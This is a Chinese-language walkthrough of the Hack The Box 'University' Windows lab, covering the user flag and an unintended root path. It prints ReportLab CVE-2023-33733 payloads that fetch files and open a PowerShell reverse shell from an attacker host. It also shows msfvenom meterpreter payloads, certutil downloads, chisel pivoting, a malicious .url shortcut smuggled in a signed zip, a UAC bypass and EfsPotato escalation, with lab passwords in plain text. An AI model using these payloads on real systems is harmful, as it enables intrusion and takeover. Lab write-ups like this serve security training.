HTB 之 University(user部分)

admin 2024年11月4日10:09:07评论41 views字数 12299阅读40分59秒阅读模式

HTB 之 University

Window(Insane)

sudo nmap -sS -p1-65535 --min-rate 10000 -Pn 10.10.11.39

#53,80,88,135,139,389,445,464,593,636,2179,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49671,49672,49676,49697,64727

sudo nmap -p53,80,88,135,139,389,445,464,593,636,2179,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49671,49672,49676,49697,64727 -sCV -Pn 10.10.11.39

等待扫描的过程中,先访问 80 端口

HTB 之 University(user部分)

学生注册并登录,发现几个点

1.图片文件上传

2.csr 文件上传

3.课程下载(可能有任意文件读取)

4.右上角个人档案 pdf 导出

HTB 之 University(user部分)

老师端注册,但是登录处于非激活状态,可以 CSR 文件免密登录,那能否利用文件读取尝试下载 My-CSR.csr呢?

HTB 之 University(user部分)

http://university.htb/static/assets/uploads/lectures/Introduction.zip
#配合../../../My-CSR.csr等

无果,可能是路径不对,我确实不知道 csr 文件存在哪里

尝试在本地进行生成,生成过程中注意文件上传的黑体字要求,用户名和邮箱

openssl req -newkey rsa:2048 -keyout PK.key -out My-CSR.csr

上传整个csr文件后,得到一个 pem 文件,确实可以登录

HTB 之 University(user部分)

HTB 之 University(user部分)

同时也得到了一个用户名 headadmin

HTB 之 University(user部分)

那我能否通过伪造 pem 文件,从而实现无密登录呢?

搜了下,没有有关用法,换条路,开始仔细搜索可能的点位

回到 My Profile,有一个CKEditor

HTB 之 University(user部分)

搜了下,也只是 xss 等 cve,先放着

之前的 PDF 搜一下

PDF-1.4 exp cveReportlab cve

https://github.com/c53elyas/CVE-2023-33733

将下面内容放到富文本编辑器中保存,再导出 pdf,似乎并未触发

<para><font color="[ [ getattr(pow,Word('__globals__'))['os'].system('curl http://kali-ip/1.js') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">exploit</font></para>

后来群里师傅分享了 payload 如下:

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('curl http://kali-ip/1.js') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">test</font</para>

可以监听到,尝试反弹 shell

https://qftm.github.io/2019/08/03/Windows-Reverse-Shell/

经过多次尝试,先下载好对应 ps1 文件,再进行反弹

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('curl http://kali-ip/powercat.ps1') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">test</font</para>

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -nop -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString("http://kali-ip/powercat.ps1");powercat -c kali-ip -p 4949 -e powershell"') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">test</font</para>
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -nop -exec bypass -c "(New-Object System.Net.Webclient).DownloadString("http://kali-ip/powercat.ps1")') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">test</font</para>powershell

试了几次,有关 powershell 的都不成功,既然如此,直接用 exe 文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=kali-ip lport=3434 -f exe > test.exe
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('certutil -urlcache -split -f http://kali-ip/test.exe c:\temp\test.exe & start c:\temp\test.exe') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">test</font</para>

可以下载,但不执行

后来发现是路径不对

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('certutil -urlcache -split -f http://kali-ip/test.exe c:\users\public\test.exe & start c:\users\public\test.exe') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">test</font</para>

这样,msf 是可以监听到的

HTB 之 University(user部分)

但是进入 shell 不能回车?

连按两下 ctrl+c,回到meterpreter会话,也是可以的

getuid
#Server username: UNIVERSITYWAO

meterpreter > getprivs

EnabledProcessPrivileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeMachineAccountPrivilege

Listing: c:users
=================

ModeSizeTypeLast modified              Name
-----------------------------
040777/rwxrwxrwx  8192  dir   2024-10-1902:20:58+0800Administrator
040777/rwxrwxrwx  0     dir   2018-09-1515:21:46+0800AllUsers
040777/rwxrwxrwx  0     dir   2024-03-0306:39:58+0800Choco.L
040555/r-xr-xr-x  8192  dir   2024-02-1306:27:25+0800Default
040777/rwxrwxrwx  0     dir   2018-09-1515:21:46+0800DefaultUser
040777/rwxrwxrwx  8192  dir   2024-02-1310:19:53+0800John.D
040777/rwxrwxrwx  0     dir   2024-02-2905:17:28+0800Nya.R
040555/r-xr-xr-x  4096  dir   2024-10-2822:28:49+0800Public
040777/rwxrwxrwx  8192  dir   2024-09-1317:31:26+0800Rose.L
040777/rwxrwxrwx  8192  dir   2024-10-1902:26:04+0800  WAO
100666/rw-rw-rw-174   fil   2018-09-1515:11:27+0800  desktop.ini

meterpreter > pwd
C:WebUniversity

通过查看当前 pwd,进而,发现网站是用python写的

发现了一些备份 zip,都可以 download 下来,但是解压要密码,好的,同目录下的 ps1 文件给了密码

kali 用 zip 解压,这个密码不对,嘶,根据 ps1 文件,是用 7z 解压的,我先尝试用winrm 登录,可行

evil-winrm -i 10.10.11.39 -u wao -p We*7 
C:"Program Files"7-Zip7z.exe x C:Web"DB Backups"DB-Backup-2024-04-25.zip -o C:WebUniversityout -pWe*7 

或者用 kali 自带的 7z 试试解密

7z x DB* -oout -aoa -pWe*7 

https://askubuntu.com/questions/1438084/7zip-command-line-error-too-short-switch-o

提示 too short 去掉-o 和后面的空格即可

emmm,解压出来这个数据库是空的

那还有什么?

ipconfig,有一个内网 192.168.99.1

certutil -urlcache -split -f http://kali-ip/fscan.exe c:\tmp\fscan.exe
fscan.exe -h 192.168.99.1/24 -np -no -nopoc

HTB 之 University(user部分)

居然有一个 22 端口的,可能是 linux

根据 fscan 的最终结果,有两台机器

DC 192.168.99.1 10.10.11.39
WS-3 192.168.99.2

回到 web 目录下,可以看到 CA,有两个重要文件,根证书的东西,root.certroot.key,那是否可以利用伪造,进而登入 web 的教授端?

msf 有个好处,拿到 shell 就可以直接 download下来

evil-winrm也有类似的方法

download rootCA.* /home/kali/htb/univ/rootCA.*

根据 wao-shell 上的用户和 web 上发现的教授用户名,有 rose,有 nya 等,但是现在缺个邮箱

在 wao-shell 下可以发现 web 路径下,uploads 路径中有两个 csr 文件(5.csr是martin用户的),尝试下载,并用根证书签名,看是否能登录

签名的语句,已经写在某 py 文件里了,只需要下载到 kali,改写一下即可

def generate_signed_cert(request, user):
    command =r'"C:\Program Files\openssl-3.0\x64\bin\openssl.exe" x509 -req -in "{}" -CA "{}" -CAkey "{}" -CAcreateserial'.format(user.csr.path, rooCA_Cert, rooCA_PrivKey)
    output = subprocess.check_output(command, shell=True).decode()
# Base64 encode the content of the file
    encoded_output = b64encode(output.encode()).decode()
    response =HttpResponse(content_type='application/x-x509-ca-cert')
# Set the content of the file as a cookie
    response.set_cookie('PSC', encoded_output)
    response['Content-Disposition']='attachment; filename="signed-cert.pem"'
    response.write(output)
return response

改写如下,其实可以直接用语句即可,不需要 python

from base64 import b64encode
from cryptography import x509
import subprocess

path="/home/kali/htb/univ/"
name=input("name")
testcsr=path+name
command = r'openssl x509 -req -in "{}" -CA "{}" -CAkey "{}" -CAcreateserial'.format(testcsr, f"{path}/rootCA.crt"f"{path}/rootCA.key")
output = subprocess.check_output(command, shell=True).decode()
print(output)

手动保存为 1.pem,登录,可行

HTB 之 University(user部分)

查看功能,貌似可以更改 gpg 公钥文件

HTB 之 University(user部分)

另外可以创建课程,之前访问课程的一些链接,下载了 zip 文件

所以创建完课程,点击 Add a new lecture

HTB 之 University(user部分)

有一个文件上传,要求上传一个压缩包,且有白名单限制,给了样例 zip 文件

HTB 之 University(user部分)

那唯一可能改动的就是 url 了

这条路先放着,不知道后续是什么步骤了

所以回到当初看到的那个内网 IP 192.168.99.?,开放 22 端口的那个

尝试用现有凭证登录,需要用到内网转发

噢,目前的 wao-shell 是有 ssh 命令的,但是好像执行报错

https://github.com/jpillora/chisel

C:UsersWAODocuments> upload chisel.exe c:\tmpch.exe
#8M的文件上传都那么慢,不如去curl+python?

https://zhuanlan.zhihu.com/p/360149991 socks 代理一栏

#kali端
./chisel server -p 171 --socks5
vim /etc/proxychains4.conf #socks5 127.0.0.1 1080

#windows端
./ch.exe client kali-ip:171 socks

嘶,无法 ssh 连接,甚至没有一个网段,有脏东西

proxychains ping 192.168.99.1 #ping不到

那没办法了

HTB 之 University(user部分)

wao-shell

在 wao-shell 下,用 fscan 登录

./fscan.exe -h 192.168.99.12 -user wao -pwd We*7  -m ssh -c "id"

这明显是可以的,用 wao 凭证去登录 99.12,成功执行id命令

那为什么 chisel 不可行?

1.先检查了下两个 chisel 是否版本一致

2.在 kali 命令前全加了 sudo,也没用

最后用来下面的命令才可以

#kali端
./chisel server --port 1447 --socks5 --reverse
vim /etc/proxychains4.conf 
#socks5 127.0.0.1 1080

#windows端
certutil -urlcache -split -f http://kali-ip/chisel.exe
.chisel.exe client --max-retry-count 1 kali-ip:1447 R:socks

#kali端
sudo proxychains -q ssh [email protected]

HTB 之 University(user部分)

所以这是一个 LAB-2的机器

sudo -l,给的是  (ALL : ALL) ALL

sudo su可以直接进 root

与此同时呢,kali 也可以通过 evil 连接到 WS-3 这台机器,为什么可以连到我不理解,按理说 fscan 没扫到它这个端口

proxychains evil-winrm -i 192.168.99.2 -u wao -p 'W*7'

来到 public 文件夹,发现有关 Lectures 的文件夹

HTB 之 University(user部分)

但是它无法被访问

下面步骤的目的就是获取 martin-shell

已知 LAB2 和 WS-3 之间可以访问(都是内网),所以尝试反弹 shell

Professor要先上传一个公钥文件,才能在后面添加课程文件,而要上传的课程文件(压缩包)指明了msf木马的路径,(以上过程均在kali中实现),最终在LAB2机器监听到martin-shell

#kali下
gpg --gen-key
#注意输入正确的用户名和邮箱:martin.rose [email protected]
gpg --export-a "martin.rose"> gpg.key

去http://university.htb/accounts/upload_PubKEY/提交这个key,不然后面讲座上传不了文件

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.99.12 LPORT=2333-f exe > martin.exe
proxychains evil-winrm -i 192.168.99.2 -u wao -p 'W*37'

#WS-3下
mkdir c:\tmp
cd c:\tmp
upload martin.exe

#LAB-2下
nc -lvvp 2333

#kali下
cat>Reference-1.url<<EOF
[InternetShortcut]
URL=file:///C:/tmp/martin.exe
IDList=
EOF

7z u mal.zip Reference-1.url

#再为该zip签名
gpg -u martin.rose --detach-sign mal.zip

http://university.htb/lecture/upload/14/ ,添加一个新课程,上传这两个文件

HTB 之 University(user部分)
但是报错
HTB 之 University(user部分)

nc -lvnp 2333即可

HTB 之 University(user部分)

martin-shell

拿到 user.txt,查看其它文件

HTB 之 University(user部分)

这 txt 说,自从 2023 年 10 月 29 日之后,这些机器没有更新过,那可能要用到内核提权

准备横向,看怎么得到这个 Rose,但是这个 shell 很快就退出了

算了,就这样,能力有限,root 就放了吧

cypress师傅的提示在这里 :rce on ws-3 > privesc > steal kerberos-ticket of rose on ws-3 > rose has genericall on GMSA-PCLIENT01$ > GMSA-PCLIENT01$ has allowedtoact on the DC

非预期解

这是有 root 的一个非预期方法

在 wao-shell 下:

./RunasCs.exe --bypass-uac wao We*7  "whoami /priv"
#提示默认的l 2类型不可用,让用5

./RunasCs.exe -l 5 --bypass-uac wao We*7  "whoami /priv"

HTB 之 University(user部分)

多了几个权限,其中有一个 SeImpersonatePrivilege,利用EfsPotato提权拿到 system

https://github.com/zcgonvh/EfsPotato

需要 C#编译一下,我这里是 4.x 版本,所以

csc.exe EfsPotato.cs -nowarn:1691,618

certutil -urlcache -split -f http://kali-ip/EfsPotato.exe c:\tmp\efs.exe

./RunasCs.exe -l 5 --bypass-uac wao WeWe*7 "c:\tmp\efs.exe whoami"

HTB 之 University(user部分)

可行,是以 system 身份执行了 whoami,那就可以反弹 shell 了,msf 生成一下

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=kali-ip lport=3434 -f exe > test.exe
certutil -urlcache -split -f http://kali-ip/test.exe

./RunasCs.exe -l 5 --bypass-uac wao We*7 "c:\tmp\efs.exe test.exe"

msf 监听得到 root-shell

总结

user.txt:

pdf 反弹 shell(CVE-2023-33733)->wao-shell->内网利用(socks 代理)->professor端恶意文件上传->martin-shell

说实话没看懂后面 professor 这整个利用链,在 LAB2 机器的proto-features.py,没看出来

这怎么发现上传功能的.URL有漏洞的?

1.csc.exe build 时出现 生成 Win32 资源时出错: 拒绝访问

权限不够,用管理员身份打开 cmd 即可

2.pdf

 try:
        subprocess.run(["C:\Program Files\Python310\Scripts\xhtml2pdf.exe",f"{random_prefix}.html"], shell=False, check=False)
except subprocess.CalledProcessErroras e:
print(f"Command execution failed: {e.output}")
returnNone
    pdf_file =open(f"{random_prefix}.pdf",'rb').read()
    response =HttpResponse(pdf_file, content_type='application/pdf')
    response['Content-Disposition']='attachment; filename="profile.pdf"'
# get rid of the temp files
    os.remove(f"{random_prefix}.html")
    os.remove(f"{random_prefix}.pdf")
return response

参考

https://github.com/c53elyas/CVE-2023-33733

https://github.com/shadow1ng/fscan

https://book.hacktricks.xyz/cn/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens

https://book.hacktricks.xyz/cn/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer

https://github.com/zcgonvh/EfsPotato

chisel 建立 scoks:https://n3nu.medium.com/how-to-pivot-using-chisel-e59b1987e252

原文始发于微信公众号(羽泪云小栈):HTB 之 University(user部分)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月4日10:09:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB 之 University(user部分)https://cn-sec.com/archives/3351103.html

发表评论

匿名网友 填写信息